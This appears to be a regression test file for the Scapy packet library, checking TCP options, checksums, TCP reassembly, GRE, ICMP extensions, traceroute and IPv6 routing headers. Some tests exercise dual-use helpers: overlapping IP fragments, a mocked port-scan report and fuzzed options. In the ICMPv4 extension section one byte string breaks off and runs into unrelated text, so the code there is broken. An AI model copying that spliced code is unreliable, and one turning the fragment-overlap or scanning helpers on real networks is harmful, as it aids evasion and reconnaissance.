sign_tcp_md5(p[TCP], b"12345") raw(p[TCP]) == bytearray.fromhex("001400500000000000000000a0022000fec200001312797e69f8dbe44a8b84f687a2832595ed0000") md5opt = IP(raw(p))[TCP].options[0] md5opt[1] == bytearray.fromhex("797e69f8dbe44a8b84f687a2832595ed") = TCP Authentication Option: build opt = TCPAOValue(keyid=1, rnextkeyid=2, mac=b"FAKE") assert opt.keyid == 1 assert opt.rnextkeyid == 2 assert opt.mac == b"FAKE" assert bytes(opt) == b"\x01\x02FAKE" = TCP Authentication Option: parse opt = TCPAOValue(b"\x01\x02FAKE") assert opt.keyid == 1 assert opt.rnextkeyid == 2 assert opt.mac == b"FAKE" = TCP Authentication Option: parse from TCP p = IP(bytes.fromhex("45e0004cdd0f4000ff06bf6b0a0b0c0dac1b1c1de9d700b3fbfbab5a00000000e002ffffcac40000020405b4010303080402080a00155ab7000000001d103d542ee437c6f8ede6d7c4d602e7")) tcpao = get_tcpao(p[TCP]) assert isinstance(tcpao, TCPAOValue) assert tcpao.keyid == 61 assert tcpao.rnextkeyid == 84 assert tcpao.mac == bytearray.fromhex("2ee437c6f8ede6d7c4d602e7") = TCP Authentication Option: build TCP p = TCP(options=[('AO', TCPAOValue(keyid=1, rnextkeyid=2, mac=b"3456"))]) p.summary() print(bytes(p)) assert bytes(p).endswith(b"\x01\x023456") = TCP options: invalid data offset data = b'\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00\x80\x02 \x00\x1b\xb8\x00\x00\x02\x04\x05\xb4\x04\x02\x08\x06\xf7\xa26C\x00\x00\x00\x00\x01\x03\x03\x07' p = TCP(data) assert TCP in p and Raw in p and len(p.options) == 3 = TCP options: build oversized packet raw(TCP(options=[('TFO', (1607681672, 2269173587)), ('AltChkSum', (81, 27688)), ('TFO', (253281879, 1218258937)), ('Timestamp', (1613741359, 4215831072)), ('Timestamp', (3856332598, 1434258666))])) = TCP random options pkt = TCP() random.seed(0x2807) pkt = fuzz(pkt) options = pkt.options._fix() options = TCP random options - MD5 (#GH3777) random.seed(0x2813) pkt = TCP(options=RandTCPOptions()._fix()) assert pkt.options[0][0] == "MD5" assert pkt.options[0][1] == (b'\xe3\xa0,\xdc\xe4\xae\x87\x18\xad{\xab\xd0b\x12\x9c\xd6',) assert TCP(bytes(pkt)).options[0][0] == "MD5" = IP, TCP & UDP checksums (these tests highly depend on default values) pkt = IP() / TCP() bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7ccd and bpkt.payload.chksum == 0x917c pkt = IP(len=40) / TCP() bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7ccd and bpkt.payload.chksum == 0x917c pkt = IP(len=40, ihl=5) / TCP() bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7ccd and bpkt.payload.chksum == 0x917c pkt = IP() / TCP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7cc3 and bpkt.payload.chksum == 0x4b2c pkt = IP(len=50) / TCP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7cc3 and bpkt.payload.chksum == 0x4b2c pkt = IP(len=50, ihl=5) / TCP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7cc3 and bpkt.payload.chksum == 0x4b2c pkt = IP(options=[IPOption_RR()]) / TCP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x70bc and bpkt.payload.chksum == 0x4b2c pkt = IP(len=54, options=[IPOption_RR()]) / TCP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x70bc and bpkt.payload.chksum == 0x4b2c pkt = IP(len=54, ihl=6, options=[IPOption_RR()]) / TCP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x70bc and bpkt.payload.chksum == 0x4b2c pkt = IP(options=[IPOption_Timestamp()]) / TCP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x2caa and bpkt.payload.chksum == 0x4b2c pkt = IP() / UDP() bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7cce and bpkt.payload.chksum == 0x0172 pkt = IP(len=28) / UDP() bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7cce and bpkt.payload.chksum == 0x0172 pkt = IP(len=28, ihl=5) / UDP() bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7cce and bpkt.payload.chksum == 0x0172 * Invalid territory conf.debug_dissector = False pkt = IP() / UDP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7cc4 and bpkt.payload.chksum == 0xbb17 pkt = IP(len=38) / UDP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7cc4 and bpkt.payload.chksum == 0xbb17 pkt = IP(len=38, ihl=5) / UDP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x7cc4 and bpkt.payload.chksum == 0xbb17 pkt = IP(options=[IPOption_RR()]) / UDP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x70bd and bpkt.payload.chksum == 0xbb17 pkt = IP(len=42, options=[IPOption_RR()]) / UDP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x70bd and bpkt.payload.chksum == 0xbb17 pkt = IP(len=42, ihl=6, options=[IPOption_RR()]) / UDP() / ("A" * 10) bpkt = IP(raw(pkt)) assert bpkt.chksum == 0x70bd and bpkt.payload.chksum == 0xbb17 conf.debug_dissector = True = IP with forced-length 0 p = IP()/TCP() p[IP].len = 0 p = IP(raw(p)) assert p.len == 0 = TCP payload with IP Total Length 0 data = b'1234567890abcdef123456789ABCDEF' pkt = IP()/TCP()/data pkt2 = IP(raw(pkt)) pkt2.len = 0 pkt3 = IP(raw(pkt2)) assert pkt3.load == data = TCPSession: test tcp_reassemble with variable orders class CustomPacket(Packet): fields_desc = [ ByteField("len", 0), StrLenField("a", 0, length_from=lambda pkt: pkt.len - 1), ] @classmethod def tcp_reassemble(cls, data, metadata, session): length = struct.unpack("!B", data[:1])[0] if len(data) < length: return None return CustomPacket(data) # above we have a CustomPacket that is X bytes long. bind_layers(TCP, CustomPacket, sport=12345) with no_debug_dissector(reverse=True): # incremental order pkts = sniff(offline=[ IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=1)/b"\x05a", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=3)/"b", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=4)/"c", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=5)/"d", ], session=TCPSession) assert pkts[0][CustomPacket].a == b"abcd", "incremental failure" # same with a pcapng tmp_file = get_temp_file() wrpcap(tmp_file, [ IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=1)/b"\x05a", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=3)/"b", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=4)/"c", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=5)/"d", ]) pkts = sniff(offline=tmp_file, session=TCPSession) assert pkts[0][CustomPacket].a == b"abcd", "pcapng failure" # messed up order: fragments 2 and 3 arrive in the wrong order pkts = sniff(offline=[ IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=1)/b"\x05a", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=4)/"c", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=3)/"b", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=5)/"d", ], session=TCPSession) assert pkts[0][CustomPacket].a == b"abcd", "messed up order 1 failure" # messed up order: fragment 1 arrives not in first position pkts = sniff(offline=[ IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=6)/"e", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=4)/"c", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=3)/"b", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=5)/"d", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=1)/b"\x06a", ], session=TCPSession) assert pkts[0][CustomPacket].a == b"abcde", "messed up order 2 failure" # retransmitted packets pkts = sniff(offline=[ IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=6)/"e", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=4)/"c", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=6)/"e", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=3)/"b", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=5)/"d", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=6)/"e", IP(dst="1.1.1.1", src="2.2.2.2")/TCP(sport=12345, dport=12, seq=1)/b"\x06a", ], session=TCPSession) assert pkts[0][CustomPacket].a == b"abcde", "retransmitted failure" split_layers(TCP, CustomPacket, sport=12345) = Layer binding * Test DestMACField & DestIPField pkt = Ether(raw(Ether()/IP()/UDP(dport=5353)/DNS())) assert isinstance(pkt, Ether) and pkt.dst == '01:00:5e:00:00:fb' pkt = pkt.payload assert isinstance(pkt, IP) and pkt.dst == '224.0.0.251' pkt = pkt.payload assert isinstance(pkt, UDP) and pkt.dport == 5353 pkt = pkt.payload assert isinstance(pkt, DNS) and isinstance(pkt.payload, NoPayload) * Same with IPv6 pkt = Ether(raw(Ether()/IPv6()/UDP(dport=5353)/DNS())) assert isinstance(pkt, Ether) and pkt.dst == '33:33:00:00:00:fb' pkt = pkt.payload assert isinstance(pkt, IPv6) and pkt.dst == 'ff02::fb' pkt = pkt.payload assert isinstance(pkt, UDP) and pkt.dport == 5353 pkt = pkt.payload assert isinstance(pkt, DNS) and isinstance(pkt.payload, NoPayload) = Layer binding with show() * getmacbyip must only be called when building from unittest import mock def _err(*_): raise ValueError with mock.patch("scapy.layers.l2.getmacbyip", side_effect=_err): with mock.patch("scapy.layers.inet.getmacbyip", side_effect=_err): # ARP who-has should never call getmacbyip pkt1 = Ether() / ARP(pdst="10.0.0.1") pkt1.show() bytes(pkt1) # IP should only call getmacbyip when building pkt2 = Ether() / IP(dst="10.0.0.1") pkt2.show() try: bytes(pkt2) assert False, "Should have called getmacbyip" except ValueError: pass = GRE binding tests * Test GRE-in-IP pkt = Ether(raw(Ether()/IP()/GRE()/IP()/UDP())) assert isinstance(pkt, Ether) pkt = pkt.payload assert isinstance(pkt, IP) and pkt.proto == 47 pkt = pkt.payload assert isinstance(pkt, GRE) and pkt.proto == 0x0800 pkt = pkt.payload assert isinstance(pkt, IP) pkt = pkt.payload assert isinstance(pkt, UDP) * Test GRE-in-IPv6 pkt = Ether(raw(Ether()/IPv6()/GRE()/IPv6()/UDP())) assert isinstance(pkt, Ether) pkt = pkt.payload assert isinstance(pkt, IPv6) and pkt.nh == 47 pkt = pkt.payload assert isinstance(pkt, GRE) and pkt.proto == 0x86dd pkt = pkt.payload assert isinstance(pkt, IPv6) pkt = pkt.payload assert isinstance(pkt, UDP) * Test GRE-in-UDP pkt = Ether(raw(Ether()/IP()/UDP()/GRE()/IP()/UDP())) assert isinstance(pkt, Ether) pkt = pkt.payload assert isinstance(pkt, IP) pkt = pkt.payload assert isinstance(pkt, UDP) and pkt.dport == 4754 pkt = pkt.payload assert isinstance(pkt, GRE) and pkt.proto == 0x0800 pkt = pkt.payload assert isinstance(pkt, IP) pkt = pkt.payload assert isinstance(pkt, UDP) * Test GRE-in-UDP (IPv6) pkt = Ether(raw(Ether()/IPv6()/UDP()/GRE()/IPv6()/UDP())) assert isinstance(pkt, Ether) pkt = pkt.payload assert isinstance(pkt, IPv6) pkt = pkt.payload assert isinstance(pkt, UDP) and pkt.dport == 4754 pkt = pkt.payload assert isinstance(pkt, GRE) and pkt.proto == 0x86dd pkt = pkt.payload assert isinstance(pkt, IPv6) pkt = pkt.payload assert isinstance(pkt, UDP) ############ ############ + inet.py = IPv4 - ICMPTimeStampField test = ICMPTimeStampField("test", None) value = test.any2i("", "07:28:28.07") value == 26908070 test.i2repr("", value) == '7:28:28.70' = IPv4 - UDP null checksum with no_debug_dissector(): IP(raw(IP()/UDP()/Raw(b"\xff\xff\x01\x6a")))[UDP].chksum == 0xFFFF = IPv4 - (IP|UDP|TCP|ICMP)Error query = IP(dst="192.168.0.1", src="192.168.0.254", ttl=1)/UDP()/DNS() answer = IP(dst="192.168.0.254", src="192.168.0.2", ttl=1)/ICMP()/IPerror(dst="192.168.0.1", src="192.168.0.254", ttl=0)/UDPerror()/DNS() query = IP(dst="192.168.0.1", src="192.168.0.254", ttl=1)/UDP()/DNS() answer = IP(dst="192.168.0.254", src="192.168.0.2")/ICMP(type=11)/IPerror(dst="192.168.0.1", src="192.168.0.254", ttl=0)/UDPerror()/DNS() assert answer.answers(query) == True query = IP(dst="192.168.0.1", src="192.168.0.254", ttl=1)/TCP() answer = IP(dst="192.168.0.254", src="192.168.0.2")/ICMP(type=11)/IPerror(dst="192.168.0.1", src="192.168.0.254", ttl=0)/TCPerror() assert answer.answers(query) == True query = IP(dst="192.168.0.1", src="192.168.0.254", ttl=1)/ICMP()/"scapy" answer = IP(dst="192.168.0.254", src="192.168.0.2")/ICMP(type=11)/IPerror(dst="192.168.0.1", src="192.168.0.254", ttl=0)/ICMPerror()/"scapy" assert answer.answers(query) == True = IPv4 - TCPError parsing pkt = Ether(bytes.fromhex('005056a4302ffcbd676360c908004500003800000000f80164b6682ce6b70ad504560b004f410000000045000028400e00000106fdae0ad50456681204d7f73100507d4430f8')) assert TCPerror in pkt and pkt[TCPerror].sport == 63281 and pkt[TCPerror].dport == 80 = IPv4 - mDNS a = IP(dst="224.0.0.251") assert a.hashret() == b"\x00" # TODO add real case here = IPv4 - utilities l = overlap_frag(IP(dst="1.2.3.4")/ICMP()/("AB"*8), ICMP()/("CD"*8)) assert len(l) == 6 assert [len(raw(p[IP].payload)) for p in l] == [8, 8, 8, 8, 8, 8] assert [(p.frag, p.flags.MF) for p in [IP(raw(p)) for p in l]] == [(0, True), (1, True), (2, True), (0, True), (1, True), (2, False)] = IPv4 - ICMP hashret for x in ICMP(type=range(0,40),code=range(0,40)): (IP()/x).hashret() = IPv4 - traceroute utilities ip_ttl = [("192.168.0.%d" % i, i) for i in range(1, 10)] tr_packets = [ (IP(dst="192.168.0.1", src="192.168.0.254", ttl=ttl)/TCP(options=[("Timestamp", "00:00:%.2d.00" % ttl)])/"scapy", IP(dst="192.168.0.254", src=ip)/ICMP(type=11)/IPerror(dst="192.168.0.1", src="192.168.0.254", ttl=0)/TCPerror()/"scapy") for (ip, ttl) in ip_ttl ] tr = TracerouteResult(tr_packets) assert tr.get_trace() == {'192.168.0.1': {1: ('192.168.0.1', False), 2: ('192.168.0.2', False), 3: ('192.168.0.3', False), 4: ('192.168.0.4', False), 5: ('192.168.0.5', False), 6: ('192.168.0.6', False), 7: ('192.168.0.7', False), 8: ('192.168.0.8', False), 9: ('192.168.0.9', False)}} def test_show(): with ContextManagerCaptureOutput() as cmco: tr = TracerouteResult(tr_packets) tr.show() result_show = cmco.get_output() expected = " 192.168.0.1:tcp80 \n" expected += "1 192.168.0.1 11 \n" expected += "2 192.168.0.2 11 \n" expected += "3 192.168.0.3 11 \n" expected += "4 192.168.0.4 11 \n" expected += "5 192.168.0.5 11 \n" expected += "6 192.168.0.6 11 \n" expected += "7 192.168.0.7 11 \n" expected += "8 192.168.0.8 11 \n" expected += "9 192.168.0.9 11 \n" index_result = result_show.index("\n1") index_expected = expected.index("\n1") assert result_show[index_result:] == expected[index_expected:] test_show() def test_summary(): with ContextManagerCaptureOutput() as cmco: tr = TracerouteResult(tr_packets) tr.summary() result_summary = cmco.get_output() assert len(result_summary.split('\n')) == 10 assert(any( "IP / TCP 192.168.0.254:%s > 192.168.0.1:%s S / Raw ==> " "IP / ICMP 192.168.0.9 > 192.168.0.254 time-exceeded " "ttl-zero-during-transit / IPerror / TCPerror / " "Raw" % (ftp_data, http) in result_summary for ftp_data in ['20', 'ftp_data'] for http in ['80', 'http', 'www_http', 'www'] )) test_summary() from unittest import mock import scapy.libs.matplot @mock.patch("scapy.libs.matplot.plt") def test_timeskew_graph(mock_plt): def fake_plot(data, **kwargs): return data mock_plt.plot = fake_plot srl = SndRcvList([(a, a) for a in [IP(raw(p[0])) for p in tr_packets]]) ret = srl.timeskew_graph("192.168.0.254") assert len(ret) == 9 assert ret[0][1] == 0.0 test_timeskew_graph() tr = TracerouteResult(tr_packets) saved_AS_resolver = conf.AS_resolver conf.AS_resolver = None tr.make_graph() assert len(tr.graphdef) == 491 tr.graphdef.startswith("digraph trace {") == True assert ('"192.168.0.9" ->' in tr.graphdef) == True conf.AS_resolver = conf.AS_resolver pl = PacketList(list([Ether()/x for x in itertools.chain(*tr_packets)])) srl, ul = pl.sr() assert len(srl) == 9 and len(ul) == 0 conf_color_theme = conf.color_theme conf.color_theme = BlackAndWhite() assert len(pl.sessions().keys()) == 10 conf.color_theme = conf_color_theme new_pl = pl.replace(IP.src, "192.168.0.254", "192.168.0.42") assert "192.168.0.254" not in [p[IP].src for p in new_pl] = IPv4 - reporting ~ netaccess from unittest import mock @mock.patch("scapy.layers.inet.sr") def test_report_ports(mock_sr): def sr(*args, **kargs): return [(IP()/TCP(dport=65081, flags="S"), IP()/TCP(sport=65081, flags="SA")), (IP()/TCP(dport=65082, flags="S"), IP()/ICMP(type=3, code=1)), (IP()/TCP(dport=65083, flags="S"), IP()/TCP(sport=65083, flags="R"))], [IP()/TCP(dport=65084, flags="S")] mock_sr.side_effect = sr report = "\\begin{tabular}{|r|l|l|}\n\\hline\n65081 & open & SA \\\\\n\\hline\n?? & closed & ICMP type dest-unreach/host-unreachable from 127.0.0.1 \\\\\n65083 & closed & TCP R \\\\\n\\hline\n65084 & ? & unanswered \\\\\n\\hline\n\\end{tabular}\n" assert report_ports("www.secdev.org", [65081,65082,65083,65084]) == report test_report_ports() def test_IPID_count(): with ContextManagerCaptureOutput() as cmco: random.seed(0x2807) IPID_count([(IP()/UDP(), IP(id=random.randint(0, 65535))/UDP()) for i in range(3)]) result_IPID_count = cmco.get_output() lines = [x.strip() for x in result_IPID_count.split("\n")] assert len(lines) == 5 assert(lines[0] in ["Probably 3 classes: [4613, 53881, 58437]", "Probably 3 classes: [9103, 9227, 46399]"]) test_IPID_count() = IPv4 - Checksum computation with source routing no_sr = IP(raw(IP(dst="8.8.8.8")/UDP()/DNS())) sr = IP(raw(IP(options=[IPOption_SSRR(routers=["1.1.1.1", "8.8.8.8"])])/UDP()/DNS())) assert no_sr[UDP].chksum == sr[UDP].chksum sr = IP(raw(IP(options=[IPOption_LSRR(routers=["1.1.1.1"]), IPOption_SSRR(routers=["8.8.8.8"])])/UDP()/DNS())) assert no_sr[UDP].chksum != sr[UDP].chksum # GH4174 sr = Ether(src="de:ad:be:ef:aa:55", dst="ca:fe:00:00:00:00")/IP(src="20.0.0.1",dst="100.0.0.1")/ \ IP(src="20.0.0.1",dst="100.0.0.1", options=[IPOption_SSRR(copy_flag=1, pointer=4, routers=["1.1.1.1", "8.8.8.8"])])/ \ UDP(sport=1111, dport=2222) / VXLAN() / \ Ether(src="de:ad:be:ef:aa:55", dst="ca:fe:00:00:00:00")/IP(src="20.0.0.1",dst="100.0.0.1") / \ TCP() bytes(sr[UDP]) assert sr[IP:2].dst == "100.0.0.1" ############### ############### + ICMPv4 extensions = Build ICMP extension from scratch pkt = IP(dst="127.0.0.1", src="127.0.0.1") / ICMP( type="time-exceeded", code="ttl-zero-during-transit", ext=ICMPExtension_Header() / ICMPExtension_InterfaceInformation( has_ifindex=1, has_ipaddr=1, has_ifname=1, ip4="10.10.10.10", ifname="hey", ) ) / IPerror(src="12.4.4.4", dst="12.1.1.1") / \ UDPerror(sport=42315, dport=33440) / \ b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' assert bytes(pkt) == b'E\x00\x00\xb0\x00\x01\x00\x00@\x01|J\x7f\x00\x00\x01\x7f\x00\x00\x01\x0b\x00\x12/\x00\x00\x00\x00E\x00\x00(\x00\x01\x00\x00@\x11]\xbb\x0c\x04\x04\x04\x0c\x01\x01\x01\xa5K\x82\xa0\x00\x14\xba\xd0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00u\x00\x00\x10\x02\x0e\x00\x00\x00\x00\x00\x00\x00\x00\x03hey' = Check dissection and rebuild of MPLS ICMPv4 extension # GH4281 load_contrib("mpls") pkt = Ether(b'\x00\x15]\x94AY\x00\x15]\x07\xcb\x04\x08\x00E\x00\x00\xb0?2\x00\x00\xe6\x01\x1b\xabh,\x1f\x1d\xac\x1cF\n\x0b\x00Ll\x00\x11\x00\x00E \x00<\x96\xdf\x00\x00\x02\x11\xa7\xc6\xac\x1cF\n(Q_t\xb8-\x82\xb3\x00(xt@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x02\xff\x00\x10\x01\x01\tp2\x01\x05\xde\xd2\x01\x05\x9c\xc3\x02') assert isinstance(pkt[ICMP].ext, ICMPExtension_Header) assert ICMPExtension_MPLS in pkt[ICMP].ext assert all(isinstance(x, MPLS) for x in pkt[ICMP].ext.stack) assert [x.label for x in pkt[ICMP].ext.stack[0].iterpayloads()] == [38659, 24045, 22988] # Build pkt.clear_cache() pkt.ext.chksum = None # Check that chksum rebuilds pkt[IP].chksum = None assert bytes(pkt) == b'\x00\x15]\x94AY\x00\x15]\x07\xcb\x04\x08\x00E\x00\x00\xb0?2\x00\x00\xe6\x01\x1b\xabh,\x1f\x1d\xac\x1cF\n\x0b\x00Ll\x00\x11\x00\x00E \x00<\x96\xdf\x00\x00\x02\x11\xa7\xc6\xac\x1cF\n(Q_t\xb8-\x82\xb3\x00(xt@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x02\xff\x00\x10\x01\x01\tp2\x01\x05\xde\xd2\x01\x05\x9c\xc3\x02' = ICMPv4 extension - Other dissection example # GH1773 load_contrib("mpls") pkt = Ether(b'\x00\x1cs\x03\x12\x06t\x83\xef\x00\n\xd5\x08\x00E\x00\x00\xa8H\x1e\x00\x00\xfb\x01\xf0\xe3\xc0\xa8\x02\x01\xc0\xa8\x03\x01\x0b\x00rr\x00 \x00\x00E\x00\x00 6406:c31f:d0b5:72fc:1700:2081:62e7:fae9 (59)' = IPv6 Class binding with GRE - build s = raw(IP(src="127.0.0.1")/GRE()/Ether(dst="ff:ff:ff:ff:ff:ff", src="00:00:00:00:00:00")/IP()/GRE()/IPv6(src="::1")) s == b'E\x00\x00f\x00\x01\x00\x00@/|f\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00eX\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00@\x00\x01\x00\x00@/|\x8c\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00\x86\xdd`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = IPv6 Class binding with GRE - dissection p = IP(s) GRE in p and p[GRE:1].proto == 0x6558 and p[GRE:2].proto == 0x86DD and IPv6 in p = IPv6 ma_addr coverage on hashret IPv6(dst="ff00::1:ff28:9c5a", src="::").hashret() == b';' = PseudoIPv6 p = PseudoIPv6(src="fd00::abcd", dst="fd00::1234", uplen=64, nh=socket.IPPROTO_UDP) raw(p) == b"\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xab\xcd\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x34\x00\x00\x00\x40\x00\x00\x00\x11" = in6_chksum is computed on UDP or TCP build with no_debug_dissector(): p = IPv6(raw(IPv6()/UDP()/Raw(load="somedata"))) assert p.chksum == 0x45cb ########### IPv6ExtHdrRouting Class ########################### = IPv6ExtHdrRouting Class - No address - build raw(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=[])/TCP(dport=80)) ==b'`\x00\x00\x00\x00\x1c+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xa5&\x00\x00' = IPv6ExtHdrRouting Class - One address - build raw(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2022::deca"])/TCP(dport=80)) == b'`\x00\x00\x00\x00,+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x02\x00\x01\x00\x00\x00\x00 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91\x7f\x00\x00' = IPv6ExtHdrRouting Class - Multiple Addresses - build raw(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2001::deca", "2022::deca"])/TCP(dport=80)) == b'`\x00\x00\x00\x00<+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x04\x00\x02\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91\x7f\x00\x00' = IPv6ExtHdrRouting Class - Specific segleft (2->1) - build raw(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2001::deca", "2022::deca"], segleft=1)/TCP(dport=80)) == b'`\x00\x00\x00\x00<+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x04\x00\x01\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91\x7f\x00\x00' = IPv6ExtHdrRouting Class - Specific segleft (2->0) - build raw(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2001::deca", "2022::deca"], segleft=0)/TCP(dport=80)) == b'`\x00\x00\x00\x00<+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x04\x00\x00\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xa5&\x00\x00' ########### IPv6ExtHdrSegmentRouting Class ########################### = IPv6ExtHdrSegmentRouting Class - default - build & dissect s = raw(IPv6()/IPv6ExtHdrSegmentRouting()/UDP()) assert s == b'`\x00\x00\x00\x00 +@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x11\x02\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x005\x005\x00\x08\xffr' p = 